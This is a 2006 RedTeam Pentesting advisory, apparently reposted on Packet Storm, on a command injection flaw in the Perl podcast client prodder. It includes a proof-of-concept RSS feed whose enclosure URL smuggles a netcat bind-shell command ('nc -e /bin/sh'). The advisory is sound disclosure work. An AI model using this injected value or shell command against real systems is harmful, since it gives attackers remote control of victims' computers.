what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

rt-sa-2006-002.txt

rt-sa-2006-002.txt
Posted May 24, 2006
Authored by RedTeam Pentesting | Site redteam-pentesting.de

RedTeam identified a security flaw in prodder versions 0.4 and below which makes it possible for a malicious podcast server to execute arbitrary shell commands on the victim's client.

tags | exploit, arbitrary, shell
SHA-256 | 975e42263e294d6f883525759982d7537fbd5d89e46c8f947eabcdc5fe0eada4

rt-sa-2006-002.txt

Change Mirror Download
Advisory: Prodder Remote Arbitrary Command Execution

RedTeam identified a security flaw in prodder which makes it possible
for a malicious podcast server to execute arbitrary shell commands on
the victim's client.


Details
=======

Product: Prodder
Affected Versions: All versions up to prodder-0.4
Fixed Versions: prodder-0.5
Vulnerability Type: Remote arbitrary command execution
Security-Risk: high
Vendor-URL: http://prodder.sourceforge.net/
Vendor-Status: informed, fixed
Advisory-URL: http://www.redteam-pentesting.de/advisories/rt-sa-2006-002.txt
Advisory-Status: public
CVE: GENERIC-MAP-NOMATCH
CVE-URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=GENERIC-MAP-NOMATCH


Introduction
============

Prodder is a command-line based Podcast client (or aggregator, receiver,
doohickey) written in Perl that runs on just about any *n*x system. It
implements a few very useful features that are lacking in many of the
existing tools, while remaining simple and light-weight.

(from prodder homepage)

Podcasting is the distribution of multimedia files over the internet.
Normally, a server is providing an RSS or Atom XML feed describing where
to get the multimedia files. The client parses the feed and may then
download the desired files.


More Details
============

When prodder is used to fetch a podcast, prodder will extract the URL of
the audio-file from the XML-file the server provides. Prodder then uses
Wget to fetch the file. The source code looks as follows:

[...]
446 # Actually get the file
447 my $wget_cmd = "wget -qc -a '$conf{'errorfile'}' "
448 . "--tries=3 --timeout=20 --random-wait '$enc_url' -P '$outdir'";
449
450 # Background the wgets if needed - this will assume
451 # the downloads dont fail (once they've started)
452 $wget_cmd .= " --background" if $conf{'background'};
453
454
455
456 print "Fetching item ($enc_url)... ";
457 if (! system($wget_cmd))
[...]

Unfortunately, $enc_url which holds the URL in line 448 is never
properly sanitized, so it is possible to include arbitrary shell
commands in the URL which will then be executed using system() (see line
457).


Proof of Concept
================

A minimal malicious server rss feed may look as follows:

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl"?>
<rss version="2.0">
<channel>
<title>RedTeam Pentesting Example Malicious Server Feed</title>

<item>
<enclosure url="http://www.example.com/example.mp3'; nc -e /bin/sh -l
-p 1337 & ';#'"
length="241734" type="audio/mpeg" />
</item>
</channel>
</rss>

The URL above will open port 1337 via netcat on the victim's computer
and bind a shell to it. This is just one example of how to exploit the
vulnerability, as arbitrary commands can be included in the URL, but it
should illustrate the point.


Workaround
==========

Do not use prodder with untrusted servers.


Fix
===

Upgrade to prodder-0.5 immediately[1].


Security Risk
=============

High, because arbitrary shell commands can be executed on the victim's
computer with the privileges of prodder (normally the user's
privileges).


History
=======

2006-05-18 Discovery of the problem
2006-05-19 Notification of the author
2006-05-19 Initial response of the author
2006-05-20 Fixed version of prodder is released
2005-05-22 Public release of the advisory without CVE
number because of public release by the
author. CVE will be appended when available.


References
==========

[1] http://prdownloads.sourceforge.net/prodder/prodder-0.5.tgz?download


RedTeam
=======

RedTeam Pentesting is offering individual penetration tests, short
pentests, performed by a team of specialised IT-security experts.
Hereby, security weaknesses in company networks are uncovered and can be
repaired immediately.

As there are only few experts in this field, RedTeam wants to share its
knowledge and enhance the public knowledge with research in security
related areas. The results are made available as public security
advisories.

More information about RedTeam can be found at
http://www.redteam-pentesting.de.

--
RedTeam Pentesting Tel.: +49-(0)241-963 1300
Dennewartstr. 25-27 Fax : +49-(0)241-963 1304
52068 Aachen http://www.redteam-pentesting.de
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close